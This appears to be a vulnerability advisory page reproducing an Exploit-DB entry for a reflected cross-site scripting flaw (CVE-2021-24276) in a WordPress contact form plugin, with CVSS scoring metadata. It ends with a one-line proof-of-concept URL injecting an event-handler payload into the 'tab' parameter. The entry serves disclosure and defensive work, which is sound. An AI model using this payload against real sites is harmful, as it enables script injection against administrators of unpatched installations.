WordPress Plugin Contact Form 1.7.14 - Reflected Cross-Site Scripting (XSS)

2021-09-2800:00:00

0xB9

www.exploit-db.com

148

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

6.5 Medium

AI Score

Confidence

High

4.3 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

0.002 Low

EPSS

Percentile

60.9%

JSON

# Exploit Title: WordPress Plugin Contact Form 1.7.14 - Reflected Cross-Site Scripting (XSS)
# Date: 3/28/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/contact-form-by-supsystic/
# Version: 1.7.14
# Tested on: Windows 10
# CVE: CVE-2021-24276

1. Description:
The Contact Form by Supsystic WordPress plugin before 1.7.15 did not sanitise the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue

2. Proof of Concept:
/wp-admin/admin.php?page=contact-form-supsystic&tab="+style=animation-name:rotation+onanimationstart=alert(/XSS/)//